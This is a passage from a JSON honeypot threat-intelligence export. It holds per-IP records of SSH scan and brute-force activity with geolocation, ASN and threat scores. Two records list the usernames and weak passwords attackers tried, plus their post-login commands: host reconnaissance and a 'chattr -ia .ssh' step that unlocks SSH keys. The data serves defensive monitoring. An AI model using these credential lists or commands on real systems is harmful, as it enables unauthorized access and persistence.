      "last_seen": "2026-03-06T00:09:21.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 21,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T07:53:23+00:00",
        "last_seen_30d": "2026-03-22T07:02:13.290000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 44,
        "Cowrie": 4,
        "ElasticPot": 4
      }
    },
    "210.212.28.125": {
      "attack_count": 4,
      "first_seen": "2026-03-16T01:46:49.748Z",
      "last_seen": "2026-03-16T01:47:15.036Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rourkela",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:46:49.748000+00:00",
        "last_seen_30d": "2026-03-16T01:48:17.739000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "65.49.1.138": {
      "attack_count": 4,
      "first_seen": "2026-03-14T12:26:03.294Z",
      "last_seen": "2026-03-14T12:26:07.295Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 61.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 23,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T08:44:05+00:00",
        "last_seen_30d": "2026-03-28T13:48:16.545000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "68.183.218.242": {
      "attack_count": 4,
      "first_seen": "2026-03-07T11:40:31.731Z",
      "last_seen": "2026-03-07T11:40:32.023Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET /v2/_catalog HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T09:21:21.828000+00:00",
        "last_seen_30d": "2026-03-07T11:41:39.681000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Ipphoney": 1
      }
    },
    "91.230.168.142": {
      "attack_count": 4,
      "first_seen": "2026-03-31T20:05:15.282Z",
      "last_seen": "2026-03-31T20:05:15.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 93.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T05:05:00.238000+00:00",
        "last_seen_30d": "2026-03-31T21:55:33.104000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 193,
        "Honeytrap": 44,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "94.26.106.201": {
      "attack_count": 4,
      "first_seen": "2026-03-08T18:29:56.935Z",
      "last_seen": "2026-03-09T15:52:45.235Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 678,
        "days_active_30d": 27,
        "ports_targeted_30d": 183,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T02:33:37+00:00",
        "last_seen_30d": "2026-03-30T23:20:31.412000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 543,
        "Honeytrap": 128,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "223.83.114.88": {
      "attack_count": 3,
      "first_seen": "2026-03-31T20:52:39.770Z",
      "last_seen": "2026-03-31T20:54:39.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56045,
      "as_org": "China Mobile communications corporation",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T20:52:39.770000+00:00",
        "last_seen_30d": "2026-03-31T21:05:17.920000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "101.71.37.105": {
      "attack_count": 2,
      "first_seen": "2026-03-11T20:18:24.610Z",
      "last_seen": "2026-03-11T20:18:37.018Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T20:18:24.610000+00:00",
        "last_seen_30d": "2026-03-11T20:19:45.077000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.236.4.140": {
      "attack_count": 2,
      "first_seen": "2026-03-28T11:18:55.779Z",
      "last_seen": "2026-03-28T11:19:26.449Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Futtsu",
      "asn": 2527,
      "as_org": "Sony Network Communications Inc.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T11:18:55.779000+00:00",
        "last_seen_30d": "2026-03-28T11:20:28.020000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "119.138.108.39": {
      "attack_count": 2,
      "first_seen": "2026-03-14T04:36:29.301Z",
      "last_seen": "2026-03-14T04:36:42.608Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140318,
      "as_org": "CHINATELECOM Guangdong province Heyuan 5G network",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T04:36:29.301000+00:00",
        "last_seen_30d": "2026-03-14T04:37:51.034000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.200.69.238": {
      "attack_count": 2,
      "first_seen": "2026-03-10T15:16:59.698Z",
      "last_seen": "2026-03-10T15:17:13.272Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mokpo",
      "asn": 38121,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T15:16:59.698000+00:00",
        "last_seen_30d": "2026-03-10T15:18:14.298000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.107.201.53": {
      "attack_count": 2,
      "first_seen": "2026-03-10T19:50:08.584Z",
      "last_seen": "2026-03-10T19:50:21.962Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:50:08.584000+00:00",
        "last_seen_30d": "2026-03-10T19:51:26.521000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.142.238.29": {
      "attack_count": 2,
      "first_seen": "2026-03-23T21:05:39.173Z",
      "last_seen": "2026-03-23T21:06:10.337Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Bayan Lepas",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T21:05:39.173000+00:00",
        "last_seen_30d": "2026-03-23T21:07:12.804000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.78.108.126": {
      "attack_count": 2,
      "first_seen": "2026-03-09T14:23:54.641Z",
      "last_seen": "2026-03-09T14:23:57.278Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T14:23:54.641000+00:00",
        "last_seen_30d": "2026-03-09T14:25:06.771000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "185.9.146.100": {
      "attack_count": 2,
      "first_seen": "2026-03-15T20:44:26.823Z",
      "last_seen": "2026-03-15T20:46:26.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 56694,
      "as_org": "LLC Smart Ape",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:44:26.823000+00:00",
        "last_seen_30d": "2026-03-15T20:56:27.463000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.105": {
      "attack_count": 2,
      "first_seen": "2026-03-18T09:27:01.867Z",
      "last_seen": "2026-03-18T09:27:12.218Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 71.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 27,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T21:18:27+00:00",
        "last_seen_30d": "2026-03-30T09:17:14.046000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 14,
        "Cowrie": 2
      }
    },
    "195.184.76.245": {
      "attack_count": 2,
      "first_seen": "2026-03-25T09:37:47.843Z",
      "last_seen": "2026-03-25T09:37:58.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 29,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T23:11:43+00:00",
        "last_seen_30d": "2026-03-30T10:46:29.546000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 47,
        "Cowrie": 2,
        "Dicompot": 1,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "24.97.220.105": {
      "attack_count": 2,
      "first_seen": "2026-03-14T22:42:00.675Z",
      "last_seen": "2026-03-14T22:42:31.299Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Schenectady",
      "asn": 11351,
      "as_org": "Charter Communications Inc",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:42:00.675000+00:00",
        "last_seen_30d": "2026-03-14T22:43:37.620000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.125.160": {
      "attack_count": 2,
      "first_seen": "2026-03-20T15:37:48.362Z",
      "last_seen": "2026-03-20T15:38:01.499Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T15:37:48.362000+00:00",
        "last_seen_30d": "2026-03-20T15:39:05.424000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.172.23": {
      "attack_count": 2,
      "first_seen": "2026-03-17T19:41:24.695Z",
      "last_seen": "2026-03-17T19:41:37.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T19:41:24.695000+00:00",
        "last_seen_30d": "2026-03-17T19:42:46.694000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.173.37.147": {
      "attack_count": 2,
      "first_seen": "2026-03-07T08:01:30.710Z",
      "last_seen": "2026-03-07T08:01:44.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mau\u00e1",
      "asn": 268790,
      "as_org": "EASY NET TELECOMUNICACOES LTDA",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:01:30.710000+00:00",
        "last_seen_30d": "2026-03-07T08:02:50.234000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.77": {
      "attack_count": 2,
      "first_seen": "2026-03-21T13:53:12.715Z",
      "last_seen": "2026-03-21T13:53:12.716Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 29,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T06:05:59+00:00",
        "last_seen_30d": "2026-03-30T08:43:02.392000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 39,
        "Adbhoney": 2,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "92.101.164.55": {
      "attack_count": 2,
      "first_seen": "2026-03-24T23:02:05.182Z",
      "last_seen": "2026-03-24T23:02:21.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Vologda",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T23:02:05.182000+00:00",
        "last_seen_30d": "2026-03-24T23:03:24.722000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.253.15.171": {
      "attack_count": 2,
      "first_seen": "2026-03-19T07:15:50.037Z",
      "last_seen": "2026-03-19T07:17:50.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 21453,
      "as_org": "Flex Ltd.",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T07:15:50.037000+00:00",
        "last_seen_30d": "2026-03-19T07:27:50.654000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.245.158.166": {
      "attack_count": 2,
      "first_seen": "2026-03-04T00:13:26.303Z",
      "last_seen": "2026-03-04T00:13:41.108Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Appignano",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:13:26.303000+00:00",
        "last_seen_30d": "2026-03-04T00:14:50.662000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.242.30.229": {
      "attack_count": 5693,
      "first_seen": "2026-03-02T04:48:19.009Z",
      "last_seen": "2026-03-09T14:58:15.347Z",
      "sessions": 1140,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "user",
        "dell",
        "lenovo",
        "admin",
        "test",
        "ue",
        "at",
        "bu",
        "if",
        "jj",
        "oj",
        "om",
        "wv",
        "xt",
        "zo",
        "ae",
        "au",
        "az"
      ],
      "passwords_attempted": [
        "abc123",
        "123456",
        "1",
        "000000",
        "123",
        "1234",
        "123abc",
        "111111",
        "123123",
        "abcd1234",
        "!zaq@XSW#CDE",
        "1111111",
        "123456787654321",
        "123@ASDasd",
        "123QWE123qwe123",
        "1QAZ@wsx3",
        "8888888888888",
        "ABCD!@#$abcd1234",
        "P@55w0rd!@#",
        "Zz.123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 214209,
      "as_org": "Internet Magnate (Pty) Ltd",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 10099,
        "days_active_30d": 8,
        "ports_targeted_30d": 694,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T04:48:19.009000+00:00",
        "last_seen_30d": "2026-03-09T14:59:23.146000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5693,
        "Suricata": 4360,
        "Honeytrap": 46
      }
    },
    "103.76.120.202": {
      "attack_count": 1089,
      "first_seen": "2026-03-07T14:35:53.092Z",
      "last_seen": "2026-03-20T00:17:35.728Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "cristi",
        "user",
        "astra",
        "devops",
        "kube",
        "mgmt",
        "michele",
        "n8n",
        "oracle",
        "ubuntu",
        "user5",
        "admin",
        "airflow",
        "ansible",
        "awsuser",
        "b",
        "bbb",
        "beehive"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "password",
        "1234",
        "12345",
        "1234abcd",
        "17929200",
        "Ansible123!",
        "Mcserver123",
        "Ming123",
        "Pa$$w0rd",
        "Passw0rd",
        "Password",
        "Root123!",
        "Sakura123",
        "Tian123!",
        "a"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
